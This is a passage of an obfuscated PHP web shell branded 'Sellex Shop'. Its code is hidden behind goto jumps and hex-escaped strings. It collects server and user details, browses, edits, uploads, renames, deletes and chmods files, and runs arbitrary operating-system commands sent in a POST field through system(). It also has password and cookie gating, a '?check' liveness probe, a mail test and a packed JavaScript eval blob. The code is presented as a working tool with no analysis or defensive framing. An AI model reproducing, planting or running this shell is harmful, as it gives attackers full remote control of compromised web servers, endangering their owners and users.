40\40\40\x20\x20\40\x3c\57\x66\157\162\155\76\12\x20\40\x20\x20\x3c\57\142\157\x64\x79\x3e\12\x20\40\x20\x20\74\x2f\x68\x74\155\x6c\x3e"; goto HV8Y4; STNMF: $WAjB0 = isset($_POST["\x70\x61\163\163"]) ? $_POST["\x70\141\x73\x73"] : $_GET["\160\x61\x73\163"]; goto zaMH2; hIa7q: goto LOYFl; goto teYJI; NBiWT: yE4w3: goto BFyzL; jhD6f: d8FQp: goto STNMF; eLt_g: setcookie("\141\x75\x74\x68", $eSNKE, time() + 3600); goto QQdhG; uF0iN: function u8Hi2() { goto RYjUz; Gjxeh: echo $_SERVER["\x53\x45\122\126\x45\122\137\x41\104\x4d\111\x4e"]; goto x_PfO; ilodd: goto C0Md8; goto n4dOh; L3Ewc: tGwOp: goto oIhoP; x20Uz: echo "\74\57\156\x6f\x62\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\x20\x3c\154\x69\x3e\120\110\120\x20\126\x65\162\x73\x69\157\156\x20\72\x20\74\156\157\142\x72\76"; goto U9Ak6; dQvpc: F2Y3t("\106\x69\154\145\40\x63\162\x65\141\164\x65\144\41"); goto waKUT; TkbBu: echo "\12\x3c\x66\x6f\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\42\160\x6f\x73\164\42\40\143\x6c\141\x73\x73\x3d\42\142\157\170\42\x20\x73\x74\171\154\x65\75\42\x62\157\162\144\145\162\72\62\x70\170\x20\163\157\154\151\x64\x20\x68\x73\154\50\61\67\x31\x2c\x20\61\60\x30\45\54\x20\x31\66\x25\51\x22\x3e\12\40\40\x3c\x68\64\x20\x63\154\x61\x73\163\x3d\x22\151\163\55\x73\151\172\x65\x2d\x35\x20\x68\141\x73\x2d\164\x65\x78\x74\x2d\167\145\x69\x67\150\164\x2d\x62\157\x6c\x64\40\x68\141\163\55\x74\x65\170\x74\55\x70\162\151\155\141\x72\171\x20\155\142\x2d\64\x22\x3e\xa\40\x20\x20\x20\x45\144\x69\164\40\106\x69\x6c\x65\x3a\40\x3c\163\x70\141\156\x20\x63\154\x61\163\163\75\x22\150\x61\163\x2d\x74\x65\x78\164\x2d\x77\150\x69\x74\x65\40\150\141\x73\55\x74\145\170\x74\x2d\x77\x65\x69\147\x68\x74\55\156\157\x72\x6d\141\x6c\x22\76\40"; goto PQOqt; viuV1: goto uBpEI; goto P_RV9; CE65j: echo $_SERVER["\x53\105\122\x56\105\x52\x5f\123\x4f\x46\x54\127\x41\x52\105"]; goto JrTm1; ousj7: echo substr(@php_uname(), 0, 120); goto VqRBx; tZlvn: echo "\74\57\x6e\157\142\x72\76\12\x20\x20\40\40\x20\x20\x3c\x2f\x64\151\166\76\xa\x20\40\x20\x20\40\x20\x3c\144\x69\166\x20\x6f\156\143\x6c\151\x63\153\75\42\156\x61\166\x69\147\x61\x74\157\x72\56\x63\154\151\x70\x62\157\141\x72\144\x2e\x77\x72\x69\164\145\124\145\170\x74\x28\47"; goto KANoq; qZ3ot: die; goto ftJXw; ThnZz: foreach ($C1o8f as $hKgYg) { goto Lek3g; j7H2Q: TuPGL: goto EezkA; Yv8Gq: goto U4f_h; goto j7H2Q; h4jrd: U4f_h: goto oRWXD; Lek3g: if ($mWJjd[6]("{$keVpk}\x2f{$hKgYg}")) { goto TuPGL; } goto Yv8Gq; EezkA: echo "\74\164\162\76\74\x74\x64\76\x3c\141\x20\150\162\145\x66\75\42\x3f\x70\75" . SiRa4("{$keVpk}\x2f{$hKgYg}") . "\x22\76\74\x69\40\x63\154\x61\x73\x73\x3d\42\142\151\40\142\x69\x2d\x66\x6f\x6c\144\x65\162\x32\x2d\x6f\x70\145\156\42\x3e\74\x2f\151\x3e\40{$hKgYg}\x3c\57\141\76\x3c\x2f\164\x64\76\x3c\164\x64\x3e\x4e\x2f\x41\x3c\x2f\164\144\76\74\x74\x64\76\74\141\x20\x68\162\145\146\x3d\x27\x3f\x70\75" . siRa4($keVpk) . "\x26\144\75" . SIrA4($hKgYg) . "\x26\143\x68\x6d\157\144\x64\x3d\61\x27\76\x3c\146\157\x6e\164\40\143\x6f\x6c\157\162\x3d\42" . ($mWJjd[8]("{$keVpk}\x2f{$hKgYg}") ? "\43\x30\x30\146\x66\60\60" : (!$mWJjd[9]("{$keVpk}\57{$hKgYg}") ? "\162\145\144" : null)) . "\42\x3e" . IyZxR("{$keVpk}\x2f{$hKgYg}") . "\74\x2f\146\157\x6e\x74\76\74\57\141\76\x3c\x2f\x74\144\x3e\x3c\x74\x64\76" . $mWJjd[19]("\x59\55\155\55\x64\x20\x48\72\151", $mWJjd[20]("{$keVpk}\57{$hKgYg}")) . "\x3c\57\x74\144\76\x3c\164\x64\x20\143\x6c\141\x73\x73\x3d\x27\x69\x73\x2d\146\154\x65\170\x27\x20\163\164\x79\154\145\75\x27\x67\141\x70\x3a\x38\160\x78\x27\76\x3c\x61\x20\x63\154\141\x73\x73\75\47\x62\165\x74\164\157\156\40\151\163\55\x69\156\146\x6f\x20\x69\x73\x2d\x73\155\141\x6c\154\40\x70\x78\x2d\x32\x20\160\171\55\60\47\x20\150\x72\145\x66\75\x22\x3f\x70\x3d" . siRa4($keVpk) . "\46\x61\x3d" . sIRa4("\162\145\156\141\x6d\x65") . "\x26\x6e\x3d" . sirA4($hKgYg) . "\x26\x74\x3d\x64\x22\76\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\151\x20\142\x69\x2d\x69\156\160\x75\164\x2d\143\165\162\x73\x6f\x72\55\x74\x65\170\164\x20\151\x73\55\163\151\172\145\55\66\x20\x6d\162\x2d\61\42\76\x3c\x2f\151\x3e\122\145\156\141\x6d\x65\74\57\141\x3e\x3c\141\x20\143\x6c\141\163\163\x3d\47\142\x75\x74\x74\157\x6e\x20\151\x73\x2d\x64\141\x6e\x67\145\162\40\x69\163\55\163\x6d\x61\154\154\40\160\170\55\62\40\160\x79\x2d\x30\x27\40\150\162\145\146\x3d\42\77\x70\75" . SIrA4($keVpk) . "\46\164\75\144\x26\x61\x3d" . sIRa4("\x64\x65\x6c\x65\x74\145") . "\x26\x6e\75" . sira4($hKgYg) . "\42\76\x3c\x69\40\x63\x6c\141\x73\x73\75\x22\x62\151\x20\142\x69\x2d\164\162\x61\163\150\55\146\x69\154\x6c\40\151\x73\x2d\163\151\172\x65\x2d\66\x20\x6d\x72\x2d\61\x22\76\74\x2f\151\76\104\145\154\x65\164\x65\74\57\x61\76\74\57\x74\x64\x3e\74\57\164\162\76"; goto h4jrd; oRWXD: } goto sXwNB; FmM8h: nBPoY: goto RR_mL; Q_7wu: if (!($zErae < count($G21FS))) { goto tYGoe; } goto NL4ms; udm3W: t9eud: goto B6QGb; AqqqY: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\57{$_POST["\156"]}") ? F2Y3T("\x66\x69\154\145\40\x6e\x61\x6d\x65\40\150\x61\x73\40\142\x65\145\156\40\x75\163\x65\x64", 0, "\x26\141\x3d" . sira4("\x6e\x65\167\106\151\154\145")) : ($mWJjd[13]("{$keVpk}\x2f{$_POST["\x6e"]}", $_POST["\143\x74\x6e"]) ? f2Y3T("\x66\151\x6c\145\40\x63\162\145\141\164\x65\144\40\x73\165\143\x63\145\x73\163\x66\165\154\x6c\171", 1, "\46\x61\75" . SIRa4("\166\x69\145\x77") . "\x26\x6e\x3d" . Sira4($_POST["\x6e"])) : f2y3T("\146\x69\x6c\145\40\146\x61\151\154\145\144\x20\164\x6f\40\143\162\x65\141\164\x65", 0)) : null; goto Vry41; ALTnY: echo "\40\x20\40\40\x20\x20\74\x2f\x66\157\x72\x6d\76\12\40\x20\x20\x20\x20\x20\74\146\157\162\155\x20\141\143\x74\151\x6f\156\75\42\42\40\143\154\x61\x73\x73\x3d\42\151\x73\x2d\x66\154\x65\170\x20\151\x73\55\x61\154\x69\x67\156\x2d\151\x74\145\x6d\x73\x2d\x65\156\x64\x22\40\155\x65\x74\150\x6f\x64\75\42\x50\x4f\123\x54\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\74\144\x69\166\76\xa\x20\40\40\40\40\40\40\40\x20\40\x3c\41\x2d\x2d\x20\x3c\154\x61\x62\x65\x6c\76\105\170\x65\x63\165\x74\x65\74\x2f\154\141\x62\145\154\x3e\x20\x2d\x2d\x3e\12\40\40\40\x20\40\x20\40\40\x20\40\74\151\x6e\x70\165\x74\40\164\x79\160\x65\x3d\42\x74\145\x78\x74\42\40\143\154\x61\163\x73\75\42\x69\x6e\160\165\x74\40\151\163\55\163\x6d\141\x6c\154\42\40\x70\x6c\141\143\145\x68\157\x6c\144\x65\x72\75\42\x45\170\x65\143\x75\x74\x65\x22\x20\x6e\x61\155\145\75\x22\x65\x78\145\143\x6d\144\42\57\76\12\40\x20\x20\40\x20\40\x20\x20\x3c\57\144\151\x76\x3e\12\x20\40\40\x20\x20\40\x20\x20\74\x69\156\x70\x75\x74\40\143\154\141\x73\x73\75\42\x6d\x6c\55\61\x20\142\165\x74\164\157\x6e\x20\151\x73\x2d\160\162\x69\155\141\x72\x79\40\151\x73\55\163\x6d\141\x6c\154\x22\40\164\171\x70\145\x3d\x22\x73\165\142\155\151\x74\42\40\x6e\141\155\145\x3d\42\163\x75\x62\155\x69\x74\42\x20\x76\141\x6c\x75\x65\75\x22\76\x22\57\76\xa\40\x20\40\40\40\x20\74\x2f\146\x6f\x72\155\76\xa\40\40\x20\40\x20\40\x20\40\74\x73\x63\162\x69\x70\x74\x3e\xa\x20\40\x20\40\x20\40\x20\40\40\40\x66\x75\x6e\143\164\x69\x6f\156\x20\163\x75\142\x6d\x69\x74\x5a\x69\160\106\151\x6c\x65\50\x29\x20\173\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\166\141\x72\40\x69\156\160\x75\164\106\151\145\154\144\40\75\x20\144\157\143\x75\x6d\145\156\x74\x2e\x67\x65\164\105\154\145\x6d\x65\x6e\x74\102\171\x49\144\x28\42\x65\x78\164\162\x61\143\x74\x2d\x7a\151\160\x22\51\73\12\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x69\146\50\x21\x69\x6e\160\x75\164\x46\151\145\154\144\56\x76\x61\154\x75\145\56\x73\x74\x61\x72\164\x73\x57\x69\x74\x68\50\42\x75\x6e\x7a\x69\x70\x22\x29\x29\x20\151\x6e\x70\x75\164\106\151\x65\x6c\x64\56\x76\x61\154\x75\x65\40\75\x20\42\165\156\x7a\x69\x70\40\x22\53\x69\156\x70\165\x74\106\x69\x65\x6c\x64\56\x76\141\154\x75\145\x3b\40\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\162\x65\x74\x75\x72\x6e\x20\164\x72\x75\x65\12\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\40\40\40\x20\40\40\x20\x3c\x2f\x73\143\162\x69\x70\x74\76\12\x20\x20\x20\x20\x20\40\x3c\x66\157\162\x6d\x20\x61\143\x74\x69\157\156\x3d\x22\42\x20\157\x6e\x73\165\x62\155\x69\x74\x3d\x22\x73\165\x62\155\151\164\132\151\160\x46\151\x6c\x65\50\x29\42\x20\143\154\141\163\x73\75\x22\151\163\55\x66\154\145\170\x20\x69\x73\x2d\x61\x6c\x69\x67\x6e\55\151\164\x65\x6d\163\55\145\x6e\x64\42\40\155\x65\164\x68\157\144\x3d\x22\x50\x4f\x53\x54\x22\x3e\12\x20\x20\x20\40\40\40\x20\40\x3c\144\151\x76\76\12\40\x20\40\40\40\40\40\40\x20\40\x3c\41\x2d\55\x20\74\154\141\142\x65\154\76\x45\x78\164\162\x61\x63\x74\x20\132\111\x50\x3c\57\x6c\x61\142\145\154\76\x20\55\55\76\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\74\151\156\x70\x75\164\40\164\x79\x70\x65\75\x22\164\145\170\x74\42\x20\x63\154\141\x73\163\75\x22\x69\156\x70\x75\164\x20\x69\163\x2d\163\x6d\x61\x6c\154\x22\x20\x70\x6c\x61\143\x65\x68\157\x6c\144\x65\x72\x3d\x22\105\170\x74\x72\141\x63\164\40\x5a\111\x50\x22\x20\x69\144\x3d\x22\x65\x78\164\x72\x61\x63\164\55\x7a\x69\160\42\x20\x6e\141\155\x65\x3d\x22\x65\170\145\143\155\144\x22\x2f\x3e\12\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\144\151\166\76\xa\40\x20\40\x20\40\x20\x20\x20\74\151\x6e\160\165\x74\x20\x63\154\141\x73\163\75\x22\x6d\x6c\55\x31\x20\142\165\164\x74\157\x6e\x20\151\163\x2d\x70\x72\151\x6d\141\x72\x79\40\151\x73\55\163\155\141\154\154\x22\40\x74\171\160\x65\75\42\x73\x75\142\155\151\x74\x22\40\156\x61\155\145\75\x22\163\x75\142\x6d\x69\164\42\40\x76\x61\x6c\165\145\75\42\x3e\x22\x2f\76\xa\40\40\x20\40\40\40\x20\40"; goto fSLYI; f3cw5: echo "\74\57\x6e\x6f\142\162\x3e\x3c\57\x6c\151\76\xa\40\x20\x20\x20\x3c\154\151\x3e\123\141\146\145\x6d\x6f\x64\x65\40\x3a\40\74\x6e\157\x62\x72\x3e"; goto qp1Ja; RRg2S: echo "\47\x29\x3b\x61\154\145\x72\164\x28\x27\103\157\160\151\145\x64\40\x74\x6f\40\x63\154\x69\x70\142\157\x61\162\144\47\51\x3b\x22\x20\143\x6c\x61\x73\163\x3d\42\x69\x73\55\x66\x61\155\151\x6c\171\55\x6d\157\156\x6f\x73\160\x61\x63\x65\x20\x62\x75\x74\x74\x6f\156\x20\x69\x73\x2d\x6c\151\x6e\x6b\40\160\154\55\62\x20\151\x73\55\157\165\x74\154\x69\x6e\145\144\x22\x3e\xa\x20\40\40\x20\x20\x20\x20\x20\x3c\142\x20\x63\154\141\x73\x73\x3d\42\x74\x61\147\x20\151\x73\x2d\x6c\x69\x6e\x6b\40\155\x72\55\x32\42\x3e\120\110\120\x20\126\x65\162\163\x69\x6f\x6e\x3c\57\x62\x3e\xa\40\x20\x20\40\40\40\x20\40\74\x6e\157\x62\162\76"; goto RpDwy; oQYI2: echo "\74\x2f\x73\x70\x61\x6e\x3e\12\x20\x20\40\40\74\x2f\144\x69\x76\76\12\x20\x20\x3c\x2f\x64\151\166\x3e\12\40\x20\74\144\151\x76\x20\x63\x6c\x61\163\163\x3d\42\x62\x67\55\x64\141\x72\153\40\142\157\x72\x64\x65\x72\40\x74\141\x62\x6c\x65\x2d\x72\x65\x73\160\157\x6e\163\x69\166\145\40\x6d\x74\55\62\42\x3e\12\40\40\40\x20\74\144\x69\x76\x20\143\154\x61\163\x73\75\42\151\163\55\146\141\155\151\x6c\171\x2d\x6d\x6f\156\x6f\x73\160\x61\143\145\40\142\x75\164\164\157\x6e\x20\151\163\55\144\141\x6e\x67\x65\162\x20\x69\163\55\x72\x6f\165\156\x64\145\x64\40\151\x73\x2d\157\165\x74\154\151\156\x65\x64\x22\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\x3e\x50\x61\164\150\x3a\x20\74\x2f\163\x70\x61\156\76\12\x20\40\40\40\40\40"; goto c2FpU; VrT_s: EWwyG: goto ALTnY; H351Z: define("\155\x39\x6a\113\x4f", "\x53\x65\154\x6c\145\x78\40\123\x68\x6f\160"); goto MwYDR; HKjD5: echo uoca2(); goto IUsOc; rfYlk: echo "\74\x2f\156\x6f\x62\162\x3e\xa\x20\x20\x20\x20\40\40\x3c\57\x64\x69\166\76\xa\x20\x20\x20\40\x20\40\74\x62\x72\76\12\x20\40\x20\x20\40\x20\x3c\x64\x69\x76\40\143\x6c\141\163\163\x3d\x22\151\x73\x2d\146\x61\155\151\154\x79\x2d\x6d\157\156\x6f\163\160\x61\x63\145\x20\142\165\x74\x74\157\x6e\x20\x69\163\x2d\167\x61\162\x6e\151\x6e\147\x20\x70\154\55\62\40\x69\x73\x2d\x6f\x75\164\x6c\151\156\145\x64\x20\151\x73\x2d\151\156\166\x65\x72\164\x65\144\42\76\xa\x20\40\40\40\40\x20\40\40\74\x62\x20\x63\x6c\141\163\163\x3d\42\x74\x61\147\40\151\163\55\167\141\162\x6e\151\x6e\x67\x22\76\125\x73\145\x72\x3c\57\x62\76\xa\40\40\x20\x20\x20\x20\40\40\74\x6e\157\x62\162\40\x63\x6c\141\163\x73\75\x22\155\170\x2d\62\x22\x3e"; goto KwcdW; H61a3: if (!isset($_POST["\155\x61\x6b\145\146\151\x6c\145"])) { goto EWwyG; } goto lNNW1; Fnjyw: f2Y3t("\x66\x69\x6c\x65\x20\x74\x6f\x20\144\x65\154\145\x74\145\40\x74\150\145\40\146\x6f\x6c\144\145\x72", 0); goto g2rop; qQmdQ: echo "\x3c\x2f\x6e\x6f\x62\x72\x3e\12\40\x20\40\x20\x20\40\x3c\57\x64\x69\x76\x3e\xa\x20\40\40\40\x20\x20\x3c\144\x69\x76\40\x6f\156\x63\154\x69\143\x6b\x3d\42\156\141\166\x69\x67\141\x74\157\x72\56\x63\154\x69\160\142\x6f\x61\x72\144\x2e\x77\162\x69\164\145\124\x65\170\164\x28\x27"; goto Np5bS; sgdpK: fwrite($huZFR, ''); goto tzxxE; dW_tO: echo "\74\57\x61\162\164\151\x63\154\x65\x3e\12\74\x21\x2d\x2d\x20\x73\164\x79\154\145\x3d\x22\142\x6f\162\x64\x65\162\72\x32\160\170\40\163\157\x6c\x69\x64\x20\150\163\154\50\x33\x34\x38\54\x20\61\x30\60\x25\54\40\x36\61\45\x29\73\x22\40\55\x2d\76\xa\74\x64\151\166\40\143\x6c\141\163\163\x3d\x22\146\x6c\157\x61\x74\x69\156\x67\55\142\141\156\156\x65\162\40\x69\163\x2d\x66\141\155\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\x70\141\143\x65\x20\x69\163\x2d\146\x6c\x65\x78\40\151\163\55\x6a\165\x73\x74\151\146\171\x2d\x63\x6f\x6e\164\145\x6e\164\55\143\145\156\164\145\162\40\155\x2d\64\42\76\xa\40\40\x3c\x61\x20\150\162\x65\x66\x3d\x22\150\x74\x74\160\163\x3a\57\x2f\163\145\x6c\x6c\x65\x78\163\150\x6f\160\56\147\x69\x74\150\x75\142\56\151\x6f\57\x22\x20\x63\x6c\x61\163\x73\x3d\x22\147\162\141\x64\x69\x65\156\164\x2d\x62\157\162\144\x65\162\x20\147\162\141\144\151\145\156\x74\x2d\x62\x67\x20\x6d\170\55\x61\165\x74\x6f\40\151\x73\55\x73\x69\172\x65\55\66\x22\x20\76\x50\x6f\x77\x65\x72\x65\144\40\102\x79\x20\74\x62\76\x53\x65\154\154\145\x78\x20\x53\150\157\x70\74\x2f\142\76\74\x2f\x61\x3e\xa\74\57\x64\151\166\76\12\74\x21\x2d\x2d\x20\74\x63\145\x6e\164\145\162\x3e\xa\40\40\x3c\x61\40\x68\x72\145\x66\75\x22\150\x74\x74\160\x73\x3a\57\57\163\x65\154\x6c\145\170\163\x68\157\160\56\147\151\164\150\165\142\56\151\x6f\x2f\x22\76\xa\x20\x20\40\x20\74\151\155\147\x20\x73\x72\143\75\x22\150\x74\x74\160\163\72\x2f\57\151\x6d\147\x30\60\x31\56\160\x72\156\x74\x73\143\162\x2e\x63\157\x6d\57\x66\x69\154\x65\57\x69\x6d\147\x30\x30\61\57\105\117\x68\150\65\65\157\x6f\x52\x33\x57\x64\150\x57\x5a\x54\152\123\x5f\130\x53\x77\x2e\147\x69\146\x22\40\141\154\164\75\42\123\145\154\x6c\x65\x78\x2e\x62\151\x7a\x22\76\12\x20\40\x3c\x2f\141\76\12\74\57\143\x65\156\164\x65\162\76\x20\x2d\x2d\x3e\12\74\x73\143\x72\151\x70\164\76\x65\x76\141\x6c\x28\146\165\156\x63\164\151\x6f\156\x28\160\54\141\x2c\143\54\153\x2c\145\x2c\x64\51\173\x65\x3d\x66\x75\156\x63\164\x69\x6f\156\50\143\x29\x7b\162\x65\x74\165\162\x6e\x28\143\74\141\77\47\47\72\145\x28\x70\x61\162\x73\145\x49\x6e\164\x28\143\x2f\x61\x29\51\51\x2b\x28\50\143\75\143\45\x61\x29\76\63\65\77\x53\164\x72\151\156\147\56\146\162\x6f\155\x43\x68\x61\162\x43\157\x64\145\50\143\x2b\x32\x39\x29\72\143\x2e\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\145\x70\x6c\141\143\145\x28\x2f\x5e\57\54\x53\164\162\151\x6e\x67\x29\51\173\167\x68\151\x6c\145\50\x63\55\55\x29\x7b\144\133\145\x28\143\x29\135\75\153\133\143\135\x7c\174\x65\50\143\x29\x7d\153\75\x5b\146\x75\156\143\x74\x69\x6f\x6e\50\x65\x29\x7b\162\x65\x74\165\x72\x6e\x20\144\133\145\135\x7d\135\x3b\x65\x3d\146\x75\156\143\164\x69\x6f\156\50\51\173\x72\x65\x74\x75\x72\x6e\47\x5c\134\x77\53\x27\x7d\73\143\75\61\175\73\x77\x68\x69\154\x65\x28\x63\x2d\55\x29\173\x69\146\x28\153\133\143\135\51\173\x70\x3d\160\56\x72\x65\x70\154\141\x63\145\50\x6e\145\167\x20\x52\x65\147\105\170\160\x28\47\134\134\142\47\x2b\145\50\x63\x29\x2b\x27\x5c\134\x62\47\x2c\47\147\x27\x29\54\153\133\x63\135\x29\x7d\175\162\x65\x74\165\x72\x6e\40\x70\x7d\x28\47\105\x2e\x6e\50\51\73\44\x28\x5c\x27\133\62\55\155\75\x22\64\x22\135\134\47\51\x2e\x34\x28\51\73\x24\x28\x22\56\x6c\42\51\56\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\x28\x29\73\x68\x20\x30\x3d\x24\x28\66\x29\56\65\x28\42\x32\55\60\x22\51\x3b\143\50\x7b\142\x3a\42\x61\42\54\x39\x3a\42\x6f\40\x69\x20\161\x3f\42\x2c\167\x3a\42\104\40\x22\53\60\x2b\42\x20\160\x20\x43\40\102\42\54\101\72\x37\54\x7a\x3a\67\x2c\175\x29\x2e\171\x28\50\70\51\x3d\76\173\162\50\x38\x29\173\170\x20\61\x3d\x24\x28\x36\x29\56\x35\x28\x22\x33\x22\51\53\42\x26\x74\x3d\x22\x2b\50\50\x30\x3d\75\x22\x76\x22\51\77\x22\x64\42\x3a\42\146\42\x29\73\165\56\163\x2e\x33\75\x31\x7d\x7d\x29\175\51\73\x27\x2c\x34\x31\x2c\64\x31\54\47\164\x79\160\x65\174\x62\x75\x69\154\144\x55\x52\x4c\174\144\x61\164\x61\x7c\x68\162\x65\146\174\x74\x6f\x6f\154\x74\151\160\x7c\x61\x74\x74\162\174\x74\x68\151\163\174\164\162\x75\145\174\x77\151\x6c\154\104\x65\154\x65\x74\x65\174\x74\151\x74\x6c\145\x7c\x77\141\162\156\151\x6e\x67\x7c\x69\143\157\x6e\x7c\163\167\x61\x6c\x7c\174\174\x7c\160\162\145\x76\x65\x6e\164\x44\145\146\x61\165\154\164\x7c\x6c\x65\x74\x7c\x79\157\x75\174\146\165\x6e\143\164\x69\157\156\x7c\143\x6c\151\143\x6b\174\144\x65\154\x65\164\145\174\164\157\x67\x67\x6c\145\174\151\x6e\151\164\174\x41\x72\145\174\x77\x69\154\154\x7c\163\x75\x72\145\174\151\146\x7c\154\157\143\141\x74\151\x6f\x6e\x7c\x7c\144\157\143\165\155\145\x6e\164\x7c\x66\x6f\154\144\x65\162\x7c\164\x65\x78\x74\174\x63\x6f\156\163\x74\174\x74\150\x65\x6e\x7c\x64\141\156\147\x65\x72\x4d\157\x64\x65\174\142\x75\164\x74\x6f\x6e\x73\x7c\x64\x65\154\145\164\x65\144\174\142\x65\174\x54\150\x69\163\174\142\x73\103\x75\x73\x74\157\155\x46\x69\x6c\145\x49\x6e\160\x75\x74\47\56\x73\x70\x6c\151\164\50\x27\174\x27\51\x2c\x30\54\173\175\x29\51\x3c\x2f\x73\143\162\x69\x70\164\76\xa\xa\74\163\143\162\x69\x70\x74\x20\x73\162\x63\75\x22\x68\164\164\160\163\x3a\x2f\57\x63\144\x6e\56\152\163\144\145\154\151\166\x72\x2e\x6e\x65\x74\x2f\x6e\160\x6d\57\100\x65\x78\x75\141\156\x62\157\x2f\146\x69\154\145\x2d\x69\x63\x6f\x6e\x73\55\x6a\163\100\154\141\164\x65\x73\164\57\144\151\x73\164\57\x6a\x73\x2f\x66\151\x6c\x65\x2d\x69\x63\157\156\x73\56\155\x69\x6e\56\152\163\42\x3e\74\57\x73\x63\x72\151\x70\x74\x3e\xa\x3c\163\143\162\151\160\x74\76\xa\40\40\x63\157\156\x73\164\40\x69\x63\157\x6e\163\40\x3d\40\x72\x65\x71\x75\151\162\x65\x28\x27\x66\x69\154\145\55\151\x63\x6f\156\x73\x2d\x6a\x73\47\51\xa\x20\x20\144\157\143\165\155\145\x6e\164\x2e\161\x75\x65\162\x79\123\x65\x6c\145\143\164\x6f\162\x41\x6c\154\x28\47\x2e\142\x69\56\x62\151\55\x66\x69\x6c\145\x2d\x65\141\162\x6d\141\162\153\55\x66\151\x6c\154\47\51\56\x66\157\x72\105\141\x63\150\50\x69\40\75\x3e\x20\173\12\40\x20\40\x20\x69\143\x6f\x6e\x73\56\x67\x65\x74\103\x6c\141\163\x73\50\x69\x2e\147\145\x74\101\x74\x74\x72\x69\x62\165\164\x65\x28\47\144\x61\164\x61\55\x6e\141\155\x65\47\x29\51\x2e\164\150\145\156\50\x63\x20\75\76\x20\x69\56\x63\x6c\141\163\x73\x4e\x61\x6d\145\x20\x3d\x20\x63\56\x72\145\160\154\x61\143\145\50\x22\151\x63\157\156\55\x66\151\x6c\x65\55\164\145\x78\x74\42\54\40\x22\164\145\170\164\x2d\151\143\x6f\x6e\42\51\51\xa\40\x20\x7d\51\xa\x3c\x2f\x73\143\x72\x69\x70\164\x3e\xa\74\x2f\142\x6f\x64\x79\x3e\x3c\x2f\150\x74\x6d\154\76\12"; goto xuNK1; RpDwy: echo substr(@phpversion(), 0, 20); goto rfYlk; kU72Z: echo system($_POST["\145\170\145\143\x6d\x64"]); goto rcEfg; Qm8jY: GfRvx: goto k5wXS; eKyjG: if (strpos(ini_get("\144\x69\163\x61\x62\154\145\137\x66\x75\156\x63\x74\x69\157\x6e\x73"), "\x73\x68\x65\x6c\x6c\137\x65\170\x65\143") !== 0) { goto aEkYB; } goto FEBxE; MIuoc: fclose($huZFR); goto qtvxW; B6QGb: F2y3T("\146\x69\154\145\40\x64\145\x6c\x65\164\x65\x64\x20\163\x75\x63\143\x65\163\x73\x66\x75\154\x6c\x79"); goto f0OQq; qG05B: if (strpos($bP9ht, "\141\144\144\x69\156\147") !== false) { goto nlzqU; } goto io1hp; sJ72V: if (@mail($I8vAC . "\100" . $I8vAC . "\x2e\x63\x6f\x6d", "\110\x65\x6c\x6c\x6f", "\110\x65\x6c\x6c\x6f\54\40\144\x65\x61\x72\40\x75\163\145\162\x21")) { goto bjEbz; } goto jsW6g; ln1jF: GvegE: goto zl_wE; sfpuB: uVwWe: goto ptH6a; GZOS4: if (!(isset($_POST["\x63\147\x66"]) && isset($_POST["\x63\x6f\x64\x65\170"]))) { goto cNHru; } goto IJK5e; qgmWb: unlink($fKgA3); goto BD3G9; pQMdN: echo basename($_SERVER["\120\110\120\137\x53\x45\x4c\x46"]); goto ftX43; te6fx: echo fFUJP(); goto suGJ_; hRGsN: echo $_SERVER["\123\105\122\x56\x45\x52\x5f\x41\x44\x44\x52"]; goto X7iEx; d82TW: if (!isset($_GET["\143\x68\x65\x63\153"])) { goto oUhL4; } goto t1bgm; mdSkB: jH9T2: goto ln1jF; t1bgm: die("\167\x6f\162\153\151\x6e\x67"); goto qeUDI; EWy47: if ($uKjJE == "\156\x65\167\104\151\162") { goto A1Aby; } goto Q1b9f; pVwzF: if (empty($bzgfY)) { goto T17o4; } goto M4x5x; JAjFD: UMC9K: goto r5Ado; g2Jgz: NY9pM: goto o4r4L; g1M5R: rmdir($mKxy1); goto QmpR8; zkSv_: M9NtG: goto gvvFg; qp1Ja: echo ta6a_(); goto x20Uz; I04b2: echo uocA2(); goto qBcvL; Rjllv: echo "\x22\76\x3c\x62\x72\76\12\40\x20\40\x20\x20\x20\40\40\74\151\156\x70\165\x74\40\164\x79\160\x65\75\42\163\165\142\155\x69\x74\x22\40\x63\154\141\x73\163\x3d\42\142\165\164\164\x6f\156\40\151\163\x2d\x70\162\x69\x6d\141\162\171\x20\155\154\55\x32\42\x20\166\141\154\x75\x65\75\42\x63\x68\155\157\144\42\76\xa\x20\40\x20\40\40\40\74\x2f\x64\151\x76\x3e\xa\40\x20\40\40\x3c\57\146\157\162\x6d\x3e\12\x20\x20\74\x2f\144\151\x76\76\12\x9"; goto GZOS4; nXISj: nlzqU: goto ni_Wu; Ivj0Q: echo $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"]; goto f3cw5; fwZTh: ptPZr($_REQUEST["\160"] . "\x2f" . $_REQUEST["\x6e"]); goto bVKkC; S9ILR: goto ezK61; goto FOIiG; maHD6: $oJwbz = ''; goto SgmfV; LQ0zG: file_put_contents($E5Z_f, "\x74\145\x73\x74"); goto rA9Hj; CXBuX: if (!isset($_FILES["\x66"])) { goto C3vwP; } goto e3BHi; Lh2oi: aEkYB: goto UvaCs; KwcdW: echo get_current_user(); goto zysIk; ezNsH: echo FFujP(); goto iTPy6; GarFd: $bzgfY = shell_exec("\167\x68\x69\143\x68\x20\172\x69\160"); goto maHD6; eLrPW: F2Y3T("\x5a\111\x50\40\x46\151\x6c\145\x20\105\170\164\162\141\143\x74\x65\x64\x21"); goto be0Xq; HhYmi: echo 